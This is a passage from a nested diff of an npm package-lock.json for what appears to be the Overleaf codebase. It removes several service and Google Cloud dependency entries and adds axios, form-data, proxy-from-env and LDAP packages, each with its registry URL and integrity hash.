+- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
+- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
+- "bin": {
+- "mime": "cli.js"
+- },
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "services/templates/node_modules/ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- },
+- "services/templates/node_modules/qs": {
+- "version": "6.7.0",
+- "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz",
+- "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==",
+- "engines": {
+- "node": ">=0.6"
+- }
+- },
+- "services/templates/node_modules/raw-body": {
+- "version": "2.4.0",
+- "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz",
+- "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==",
+- "dependencies": {
+- "bytes": "3.1.0",
+- "http-errors": "1.7.2",
+- "iconv-lite": "0.4.24",
+- "unpipe": "1.0.0"
+- },
+- "engines": {
+- "node": ">= 0.8"
+- }
+- },
+- "services/templates/node_modules/send": {
+- "version": "0.17.1",
+- "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz",
+- "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==",
+- "dependencies": {
+- "debug": "2.6.9",
+- "depd": "~1.1.2",
+- "destroy": "~1.0.4",
+- "encodeurl": "~1.0.2",
+- "escape-html": "~1.0.3",
+- "etag": "~1.8.1",
+- "fresh": "0.5.2",
+- "http-errors": "~1.7.2",
+- "mime": "1.6.0",
+- "ms": "2.1.1",
+- "on-finished": "~2.3.0",
+- "range-parser": "~1.2.1",
+- "statuses": "~1.5.0"
+- },
+- "engines": {
+- "node": ">= 0.8.0"
+- }
+- },
+- "services/templates/node_modules/send/node_modules/ms": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz",
+- "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg=="
+- },
+- "services/templates/node_modules/serve-static": {
+- "version": "1.14.1",
+- "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz",
+- "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==",
+- "dependencies": {
+- "encodeurl": "~1.0.2",
+- "escape-html": "~1.0.3",
+- "parseurl": "~1.3.3",
+- "send": "0.17.1"
+- },
+- "engines": {
+- "node": ">= 0.8.0"
+- }
+- },
+- "services/templates/node_modules/setprototypeof": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz",
+- "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw=="
+- },
+- "services/templates/node_modules/toidentifier": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz",
+- "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==",
+- "engines": {
+- "node": ">=0.6"
+- }
+- },
+- "services/templates/node_modules/underscore": {
+- "version": "1.9.2",
+- "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.9.2.tgz",
+- "integrity": "sha512-D39qtimx0c1fI3ya1Lnhk3E9nONswSKhnffBI0gME9C99fYOkNi04xs8K6pePLhvl1frbDemkaBQ5ikWllR2HQ=="
+- },
+- "services/third-party-datastore": {
+- "name": "@overleaf/third-party-datastore",
+- "dependencies": {
+- "@overleaf/access-token-encryptor": "^2.2.0",
+- "@overleaf/logger": "^3.1.0",
+- "@overleaf/metrics": "^4.0.0",
+- "@overleaf/o-error": "^3.4.0",
+- "@overleaf/redis-wrapper": "^2.0.1",
+- "@overleaf/settings": "^3.0.0",
+- "async": "^3.2.2",
+- "body-parser": "^1.19.0",
+- "bunyan": "^1.8.15",
+- "dropbox": "^10.24.0",
+- "express": "^4.17.1",
+- "lru-cache": "^4.1.5",
+- "mongodb": "^3.6.0",
+- "node-fetch": "^2.6.7",
+- "p-limit": "^2.3.0",
+- "request": "^2.88.2",
+- "underscore": "^1.13.1",
+- "uuid": "^8.3.2"
+- },
+- "devDependencies": {
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "mocha": "^8.4.0",
+- "nock": "0.15.2",
+- "sandboxed-module": "^2.0.4",
+- "sinon": "9.0.1",
+- "sinon-chai": "^3.7.0",
+- "sinon-stub-promise": "^4.0.0"
+- }
+- },
+- "services/third-party-datastore/node_modules/diff": {
+- "version": "4.0.2",
+- "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
+- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==",
+- "dev": true,
+- "engines": {
+- "node": ">=0.3.1"
+- }
+- },
+- "services/third-party-datastore/node_modules/lru-cache": {
+- "version": "4.1.5",
+- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz",
+- "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==",
+- "dependencies": {
+- "pseudomap": "^1.0.2",
+- "yallist": "^2.1.2"
+- }
+- },
+- "services/third-party-datastore/node_modules/p-limit": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+- "dependencies": {
+- "p-try": "^2.0.0"
+- },
+- "engines": {
+- "node": ">=6"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/sindresorhus"
+- }
+- },
+- "services/third-party-datastore/node_modules/sinon": {
+- "version": "9.0.1",
+- "resolved": "https://registry.npmjs.org/sinon/-/sinon-9.0.1.tgz",
+- "integrity": "sha512-iTTyiQo5T94jrOx7X7QLBZyucUJ2WvL9J13+96HMfm2CGoJYbIPqRfl6wgNcqmzk0DI28jeGx5bUTXizkrqBmg==",
+- "dev": true,
+- "dependencies": {
+- "@sinonjs/commons": "^1.7.0",
+- "@sinonjs/fake-timers": "^6.0.0",
+- "@sinonjs/formatio": "^5.0.1",
+- "@sinonjs/samsam": "^5.0.3",
+- "diff": "^4.0.2",
+- "nise": "^4.0.1",
+- "supports-color": "^7.1.0"
+- },
+- "funding": {
+- "type": "opencollective",
+- "url": "https://opencollective.com/sinon"
+- }
+- },
+- "services/third-party-datastore/node_modules/supports-color": {
+- "version": "7.2.0",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+- "dev": true,
+- "dependencies": {
+- "has-flag": "^4.0.0"
+- },
+- "engines": {
+- "node": ">=8"
+- }
+- },
+- "services/third-party-datastore/node_modules/uuid": {
+- "version": "8.3.2",
+- "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+- "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
+- "bin": {
+- "uuid": "dist/bin/uuid"
+- }
+- },
+- "services/third-party-datastore/node_modules/yallist": {
+- "version": "2.1.2",
+- "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz",
+- "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI="
+- },
+- "services/third-party-references": {
+- "name": "@overleaf/thirdparty-references",
+- "license": "ISC",
+- "dependencies": {
+- "@overleaf/access-token-encryptor": "^2.2.0",
+- "@overleaf/logger": "^3.1.0",
+- "@overleaf/metrics": "^4.0.0",
+- "@overleaf/o-error": "^3.4.0",
+- "@overleaf/settings": "^3.0.0",
+- "async": "^3.2.2",
+- "body-parser": "^1.19.0",
+- "bunyan": "^1.8.15",
+- "express": "^4.17.1",
+- "lodash": "^4.17.21",
+- "lru-cache": "^5.1.1",
+- "mongodb": "^3.6.0",
+- "oauth": "0.9.15",
+- "request": "^2.88.2",
+- "simple-oauth2": "^0.6.0"
+- },
+- "devDependencies": {
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "mocha": "^8.4.0",
+- "sandboxed-module": "2.0.4",
+- "sinon": "9.0.2",
+- "sinon-chai": "^3.7.0"
+- }
+- },
+- "services/third-party-references/node_modules/diff": {
+- "version": "4.0.2",
+- "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
+- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==",
+- "dev": true,
+- "engines": {
+- "node": ">=0.3.1"
+- }
+- },
+- "services/third-party-references/node_modules/sinon": {
+- "version": "9.0.2",
+- "resolved": "https://registry.npmjs.org/sinon/-/sinon-9.0.2.tgz",
+- "integrity": "sha512-0uF8Q/QHkizNUmbK3LRFqx5cpTttEVXudywY9Uwzy8bTfZUhljZ7ARzSxnRHWYWtVTeh4Cw+tTb3iU21FQVO9A==",
+- "dev": true,
+- "dependencies": {
+- "@sinonjs/commons": "^1.7.2",
+- "@sinonjs/fake-timers": "^6.0.1",
+- "@sinonjs/formatio": "^5.0.1",
+- "@sinonjs/samsam": "^5.0.3",
+- "diff": "^4.0.2",
+- "nise": "^4.0.1",
+- "supports-color": "^7.1.0"
+- },
+- "funding": {
+- "type": "opencollective",
+- "url": "https://opencollective.com/sinon"
+- }
+- },
+- "services/third-party-references/node_modules/supports-color": {
+- "version": "7.2.0",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+- "dev": true,
+- "dependencies": {
+- "has-flag": "^4.0.0"
+- },
+- "engines": {
+- "node": ">=8"
++ "devDependencies": {
++ "chai": "^4.3.6",
++ "chai-as-promised": "^7.1.1",
++ "mocha": "^8.4.0",
++ "sandboxed-module": "2.0.4",
++ "sinon": "9.0.2",
++ "sinon-chai": "^3.7.0"
+ }
+ },
+ "services/tpdsworker": {
+ "name": "@overleaf/tpdsworker",
++ "extraneous": true,
+ "dependencies": {
+ "@overleaf/logger": "^3.0.0",
+ "@overleaf/metrics": "^4.0.0",
+@@ -35114,6 +28041,7 @@
+ "acorn-walk": "^7.1.1",
+ "angular-mocks": "~1.8.0",
+ "autoprefixer": "^9.7.6",
++ "axios": "^1.1.2",
+ "babel-loader": "^8.2.4",
+ "babel-plugin-angularjs-annotate": "^0.10.0",
+ "babel-plugin-macros": "^3.1.0",
+@@ -35151,6 +28079,8 @@
+ "karma-mocha-reporter": "^2.2.5",
+ "karma-requirejs": "^1.1.0",
+ "karma-webpack": "^5.0.0",
++ "ldap-escape": "^2.0.6",
++ "ldapts": "^3.2.4",
+ "less": "^3.11.1",
+ "less-loader": "^10.2.0",
+ "less-plugin-autoprefix": "^2.0.0",
+@@ -35277,6 +28207,17 @@
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
++ "services/web/node_modules/axios": {
++ "version": "1.1.2",
++ "resolved": "https://registry.npmjs.org/axios/-/axios-1.1.2.tgz",
++ "integrity": "sha512-bznQyETwElsXl2RK7HLLwb5GPpOLlycxHCtrpDR/4RqqBzjARaOTo3jz4IgtntWUYee7Ne4S8UHd92VCuzPaWA==",
++ "dev": true,
++ "dependencies": {
++ "follow-redirects": "^1.15.0",
++ "form-data": "^4.0.0",
++ "proxy-from-env": "^1.1.0"
++ }
++ },
+ "services/web/node_modules/body-parser": {
+ "version": "1.19.0",
+ "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz",
+@@ -35964,6 +28905,20 @@
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+ "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+ },
++ "services/web/node_modules/form-data": {
++ "version": "4.0.0",
++ "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
++ "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==",
++ "dev": true,
++ "dependencies": {
++ "asynckit": "^0.4.0",
++ "combined-stream": "^1.0.8",
++ "mime-types": "^2.1.12"
++ },
++ "engines": {
++ "node": ">= 6"
++ }
++ },
+ "services/web/node_modules/fs-extra": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-4.0.3.tgz",
+@@ -36915,6 +29870,12 @@
+ "node": ">= 8"
+ }
+ },
++ "services/web/node_modules/proxy-from-env": {
++ "version": "1.1.0",
++ "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
++ "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==",
++ "dev": true
++ },
+ "services/web/node_modules/qs": {
+ "version": "6.7.0",
+ "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz",
+@@ -37245,12 +30206,8 @@
+ "@auth0/thumbprint": {
+ "version": "0.0.6",
+ "resolved": "https://registry.npmjs.org/@auth0/thumbprint/-/thumbprint-0.0.6.tgz",
+- "integrity": "sha1-yrEGLGwEZizmxZLUgVfsQmiuhRg="
+- },
+- "@auth0/xmldom": {
+- "version": "0.1.21",
+- "resolved": "https://registry.npmjs.org/@auth0/xmldom/-/xmldom-0.1.21.tgz",
+- "integrity": "sha512-//QqjkvBknF7j0Nf205o5wgUMnq8ioHHxEr61OZQ3J0RXGFvs2rb5GLZ8jdNxMqYz4n/PEsbFIQL5RHBixxq5g=="
++ "integrity": "sha1-yrEGLGwEZizmxZLUgVfsQmiuhRg=",
++ "dev": true
+ },
+ "@babel/cli": {
+ "version": "7.16.8",
+@@ -38679,42 +31636,6 @@
+ }
+ }
+ },
+- "@google-cloud/bigquery": {
+- "version": "5.10.0",
+- "resolved": "https://registry.npmjs.org/@google-cloud/bigquery/-/bigquery-5.10.0.tgz",
+- "integrity": "sha512-kHwPT3O5pihjlhZ4wpNElovv/RY2hyz5MdgON1UlwFM9bVA8kXqdUWS09owjVhHKaHqBxliUpG0DAwjrKHqY7Q==",
+- "requires": {
+- "@google-cloud/common": "^3.1.0",
+- "@google-cloud/paginator": "^3.0.0",
+- "@google-cloud/promisify": "^2.0.0",
+- "arrify": "^2.0.1",
+- "big.js": "^6.0.0",
+- "duplexify": "^4.0.0",
+- "extend": "^3.0.2",
+- "is": "^3.3.0",
+- "p-event": "^4.1.0",
+- "stream-events": "^1.0.5",
+- "uuid": "^8.0.0"
+- },
+- "dependencies": {
+- "duplexify": {
+- "version": "4.1.2",
+- "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-4.1.2.tgz",
+- "integrity": "sha512-fz3OjcNCHmRP12MJoZMPglx8m4rrFP8rovnk4vT8Fs+aonZoCwGg10dSsQsfP/E62eZcPTMSMP6686fu9Qlqtw==",
+- "requires": {
+- "end-of-stream": "^1.4.1",
+- "inherits": "^2.0.3",
+- "readable-stream": "^3.1.1",
+- "stream-shift": "^1.0.0"
+- }
+- },
+- "uuid": {
+- "version": "8.3.2",
+- "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+- "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="
+- }
+- }
+- },
+ "@google-cloud/common": {
+ "version": "3.9.0",
+ "resolved": "https://registry.npmjs.org/@google-cloud/common/-/common-3.9.0.tgz",
+@@ -38925,237 +31846,6 @@
+ "resolved": "https://registry.npmjs.org/@google-cloud/promisify/-/promisify-2.0.4.tgz",
+ "integrity": "sha512-j8yRSSqswWi1QqUGKVEKOG03Q7qOoZP6/h2zN2YO+F5h2+DHU0bSrHCK9Y7lo2DI9fBd8qGAw795sf+3Jva4yA=="
+ },
+- "@google-cloud/storage": {
+- "version": "4.7.2",
+- "resolved": "https://registry.npmjs.org/@google-cloud/storage/-/storage-4.7.2.tgz",
+- "integrity": "sha512-nlXYhJyC6ErFQX34tMLruknJ9fljN3JepgXEC9MZlQ64/2h9Ee8MJ7FCowdBnTiZ863IkbvctWtNZRrSxfyqSQ==",
+- "requires": {
+- "@google-cloud/common": "^2.1.1",
+- "@google-cloud/paginator": "^2.0.0",
+- "@google-cloud/promisify": "^1.0.0",
+- "arrify": "^2.0.0",
+- "compressible": "^2.0.12",
+- "concat-stream": "^2.0.0",
+- "date-and-time": "^0.14.2",
+- "duplexify": "^3.5.0",
+- "extend": "^3.0.2",
+- "gaxios": "^3.0.0",
+- "gcs-resumable-upload": "^2.2.4",
+- "hash-stream-validation": "^0.2.2",
+- "mime": "^2.2.0",
+- "mime-types": "^2.0.8",
+- "onetime": "^5.1.0",
+- "p-limit": "^2.2.0",
+- "pumpify": "^2.0.0",
+- "readable-stream": "^3.4.0",
+- "snakeize": "^0.1.0",
+- "stream-events": "^1.0.1",
+- "through2": "^3.0.0",
+- "xdg-basedir": "^4.0.0"
+- },
+- "dependencies": {
+- "@google-cloud/common": {
+- "version": "2.4.0",
+- "resolved": "https://registry.npmjs.org/@google-cloud/common/-/common-2.4.0.tgz",
+- "integrity": "sha512-zWFjBS35eI9leAHhjfeOYlK5Plcuj/77EzstnrJIZbKgF/nkqjcQuGiMCpzCwOfPyUbz8ZaEOYgbHa759AKbjg==",
+- "requires": {
+- "@google-cloud/projectify": "^1.0.0",
+- "@google-cloud/promisify": "^1.0.0",
+- "arrify": "^2.0.0",
+- "duplexify": "^3.6.0",
+- "ent": "^2.2.0",
+- "extend": "^3.0.2",
+- "google-auth-library": "^5.5.0",
+- "retry-request": "^4.0.0",
+- "teeny-request": "^6.0.0"
+- }
+- },
+- "@google-cloud/paginator": {
+- "version": "2.0.3",
+- "resolved": "https://registry.npmjs.org/@google-cloud/paginator/-/paginator-2.0.3.tgz",
+- "integrity": "sha512-kp/pkb2p/p0d8/SKUu4mOq8+HGwF8NPzHWkj+VKrIPQPyMRw8deZtrO/OcSiy9C/7bpfU5Txah5ltUNfPkgEXg==",
+- "requires": {
+- "arrify": "^2.0.0",
+- "extend": "^3.0.2"
+- }
+- },
+- "@google-cloud/projectify": {
+- "version": "1.0.4",
+- "resolved": "https://registry.npmjs.org/@google-cloud/projectify/-/projectify-1.0.4.tgz",
+- "integrity": "sha512-ZdzQUN02eRsmTKfBj9FDL0KNDIFNjBn/d6tHQmA/+FImH5DO6ZV8E7FzxMgAUiVAUq41RFAkb25p1oHOZ8psfg=="
+- },
+- "@google-cloud/promisify": {
+- "version": "1.0.4",
+- "resolved": "https://registry.npmjs.org/@google-cloud/promisify/-/promisify-1.0.4.tgz",
+- "integrity": "sha512-VccZDcOql77obTnFh0TbNED/6ZbbmHDf8UMNnzO1d5g9V0Htfm4k5cllY8P1tJsRKC3zWYGRLaViiupcgVjBoQ=="
+- },
+- "date-and-time": {
+- "version": "0.14.2",
+- "resolved": "https://registry.npmjs.org/date-and-time/-/date-and-time-0.14.2.tgz",
+- "integrity": "sha512-EFTCh9zRSEpGPmJaexg7HTuzZHh6cnJj1ui7IGCFNXzd2QdpsNh05Db5TF3xzJm30YN+A8/6xHSuRcQqoc3kFA=="
+- },
+- "gcp-metadata": {
+- "version": "3.5.0",
+- "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-3.5.0.tgz",
+- "integrity": "sha512-ZQf+DLZ5aKcRpLzYUyBS3yo3N0JSa82lNDO8rj3nMSlovLcz2riKFBsYgDzeXcv75oo5eqB2lx+B14UvPoCRnA==",
+- "requires": {
+- "gaxios": "^2.1.0",
+- "json-bigint": "^0.3.0"
+- },
+- "dependencies": {
+- "gaxios": {
+- "version": "2.3.4",
+- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-2.3.4.tgz",
+- "integrity": "sha512-US8UMj8C5pRnao3Zykc4AAVr+cffoNKRTg9Rsf2GiuZCW69vgJj38VK2PzlPuQU73FZ/nTk9/Av6/JGcE1N9vA==",
+- "requires": {
+- "abort-controller": "^3.0.0",
+- "extend": "^3.0.2",
+- "https-proxy-agent": "^5.0.0",
+- "is-stream": "^2.0.0",
+- "node-fetch": "^2.3.0"
+- }
+- }
+- }
+- },
+- "gcs-resumable-upload": {
+- "version": "2.3.3",
+- "resolved": "https://registry.npmjs.org/gcs-resumable-upload/-/gcs-resumable-upload-2.3.3.tgz",
+- "integrity": "sha512-sf896I5CC/1AxeaGfSFg3vKMjUq/r+A3bscmVzZm10CElyRanN0XwPu/MxeIO4LSP+9uF6yKzXvNsaTsMXUG6Q==",
+- "requires": {
+- "abort-controller": "^3.0.0",
+- "configstore": "^5.0.0",
+- "gaxios": "^2.0.0",
+- "google-auth-library": "^5.0.0",
+- "pumpify": "^2.0.0",
+- "stream-events": "^1.0.4"
+- },
+- "dependencies": {
+- "gaxios": {
+- "version": "2.3.4",
+- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-2.3.4.tgz",
+- "integrity": "sha512-US8UMj8C5pRnao3Zykc4AAVr+cffoNKRTg9Rsf2GiuZCW69vgJj38VK2PzlPuQU73FZ/nTk9/Av6/JGcE1N9vA==",
+- "requires": {
+- "abort-controller": "^3.0.0",
+- "extend": "^3.0.2",
+- "https-proxy-agent": "^5.0.0",
+- "is-stream": "^2.0.0",
+- "node-fetch": "^2.3.0"
+- }
+- }
+- }
+- },
+- "google-auth-library": {
+- "version": "5.10.1",
+- "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-5.10.1.tgz",
+- "integrity": "sha512-rOlaok5vlpV9rSiUu5EpR0vVpc+PhN62oF4RyX/6++DG1VsaulAFEMlDYBLjJDDPI6OcNOCGAKy9UVB/3NIDXg==",
+- "requires": {
+- "arrify": "^2.0.0",
+- "base64-js": "^1.3.0",
+- "ecdsa-sig-formatter": "^1.0.11",
+- "fast-text-encoding": "^1.0.0",
+- "gaxios": "^2.1.0",
+- "gcp-metadata": "^3.4.0",
+- "gtoken": "^4.1.0",
+- "jws": "^4.0.0",
+- "lru-cache": "^5.0.0"
+- },
+- "dependencies": {
+- "gaxios": {
+- "version": "2.3.4",
+- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-2.3.4.tgz",
+- "integrity": "sha512-US8UMj8C5pRnao3Zykc4AAVr+cffoNKRTg9Rsf2GiuZCW69vgJj38VK2PzlPuQU73FZ/nTk9/Av6/JGcE1N9vA==",
+- "requires": {
+- "abort-controller": "^3.0.0",
+- "extend": "^3.0.2",
+- "https-proxy-agent": "^5.0.0",
+- "is-stream": "^2.0.0",
+- "node-fetch": "^2.3.0"
+- }
+- }
+- }
+- },
+- "google-p12-pem": {
+- "version": "2.0.5",
+- "resolved": "https://registry.npmjs.org/google-p12-pem/-/google-p12-pem-2.0.5.tgz",
+- "integrity": "sha512-7RLkxwSsMsYh9wQ5Vb2zRtkAHvqPvfoMGag+nugl1noYO7gf0844Yr9TIFA5NEBMAeVt2Z+Imu7CQMp3oNatzQ==",
+- "requires": {
+- "node-forge": "^0.10.0"
+- }
+- },
+- "gtoken": {
+- "version": "4.1.4",
+- "resolved": "https://registry.npmjs.org/gtoken/-/gtoken-4.1.4.tgz",
+- "integrity": "sha512-VxirzD0SWoFUo5p8RDP8Jt2AGyOmyYcT/pOUgDKJCK+iSw0TMqwrVfY37RXTNmoKwrzmDHSk0GMT9FsgVmnVSA==",
+- "requires": {
+- "gaxios": "^2.1.0",
+- "google-p12-pem": "^2.0.0",
+- "jws": "^4.0.0",
+- "mime": "^2.2.0"
+- },
+- "dependencies": {
+- "gaxios": {
+- "version": "2.3.4",
+- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-2.3.4.tgz",
+- "integrity": "sha512-US8UMj8C5pRnao3Zykc4AAVr+cffoNKRTg9Rsf2GiuZCW69vgJj38VK2PzlPuQU73FZ/nTk9/Av6/JGcE1N9vA==",
+- "requires": {
+- "abort-controller": "^3.0.0",
+- "extend": "^3.0.2",
+- "https-proxy-agent": "^5.0.0",
+- "is-stream": "^2.0.0",
+- "node-fetch": "^2.3.0"
+- }
+- }
+- }
+- },
+- "json-bigint": {
+- "version": "0.3.1",
+- "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-0.3.1.tgz",
+- "integrity": "sha512-DGWnSzmusIreWlEupsUelHrhwmPPE+FiQvg+drKfk2p+bdEYa5mp4PJ8JsCWqae0M2jQNb0HPvnwvf1qOTThzQ==",
+- "requires": {
+- "bignumber.js": "^9.0.0"
+- }
+- },
+- "node-forge": {
+- "version": "0.10.0",
+- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz",
+- "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA=="
+- },
+- "p-limit": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+- "requires": {
+- "p-try": "^2.0.0"
+- }
+- },
+- "teeny-request": {
+- "version": "6.0.3",
+- "resolved": "https://registry.npmjs.org/teeny-request/-/teeny-request-6.0.3.tgz",
+- "integrity": "sha512-TZG/dfd2r6yeji19es1cUIwAlVD8y+/svB1kAC2Y0bjEyysrfbO8EZvJBRwIE6WkwmUoB7uvWLwTIhJbMXZ1Dw==",
+- "requires": {
+- "http-proxy-agent": "^4.0.0",
+- "https-proxy-agent": "^5.0.0",
+- "node-fetch": "^2.2.0",
+- "stream-events": "^1.0.5",
+- "uuid": "^7.0.0"
+- }
+- },
+- "through2": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/through2/-/through2-3.0.2.tgz",
+- "integrity": "sha512-enaDQ4MUyP2W6ZyT6EsMzqBPZaM/avg8iuo+l2d3QCs0J+6RaqkHV/2/lOwDTueBHeJ/2LG9lrLW3d5rWPucuQ==",
+- "requires": {
+- "inherits": "^2.0.4",
+- "readable-stream": "2 || 3"
+- }
+- },
+- "uuid": {
+- "version": "7.0.3",
+- "resolved": "https://registry.npmjs.org/uuid/-/uuid-7.0.3.tgz",
+- "integrity": "sha512-DPSke0pXhTZgoF/d+WSt2QaKMCFSfx7QegxEWT+JOuHF5aWrKEn0G+ztjuJg/gG8/ItK+rbPCD/yNv8yyih6Cg=="
+- }
+- }
+- },
+ "@google-cloud/trace-agent": {
+ "version": "5.1.6",
+ "resolved": "https://registry.npmjs.org/@google-cloud/trace-agent/-/trace-agent-5.1.6.tgz",
+@@ -39419,64 +32109,6 @@
+ "integrity": "sha512-zMM9Ds+SawiUkakS7y94Ymqx+S0ORzpG3frZirN3l+UlXUmSUR7hF4wxCVqW+ei94JzV5kt0uXBcoOEAuiydrw==",
+ "dev": true
+ },
+- "@kubernetes/client-node": {
+- "version": "0.10.2",
+- "resolved": "https://registry.npmjs.org/@kubernetes/client-node/-/client-node-0.10.2.tgz",
+- "integrity": "sha512-JvsmxbTwiMqsh9LyuXMzT5HjoENFbB3a/JroJsobuAzkxN162UqAOvg++/AA+ccIMWRR2Qln4FyaOJ0a4eKyXg==",
+- "requires": {
+- "@types/js-yaml": "^3.12.1",
+- "@types/node": "^10.12.0",
+- "@types/request": "^2.47.1",
+- "@types/underscore": "^1.8.9",
+- "@types/ws": "^6.0.1",
+- "isomorphic-ws": "^4.0.1",
+- "js-yaml": "^3.13.1",
+- "json-stream": "^1.0.0",
+- "jsonpath-plus": "^0.19.0",
+- "request": "^2.88.0",
+- "shelljs": "^0.8.2",
+- "tslib": "^1.9.3",
+- "underscore": "^1.9.1",
+- "ws": "^6.1.0"
+- },
+- "dependencies": {
+- "@types/node": {
+- "version": "10.17.60",
+- "resolved": "https://registry.npmjs.org/@types/node/-/node-10.17.60.tgz",
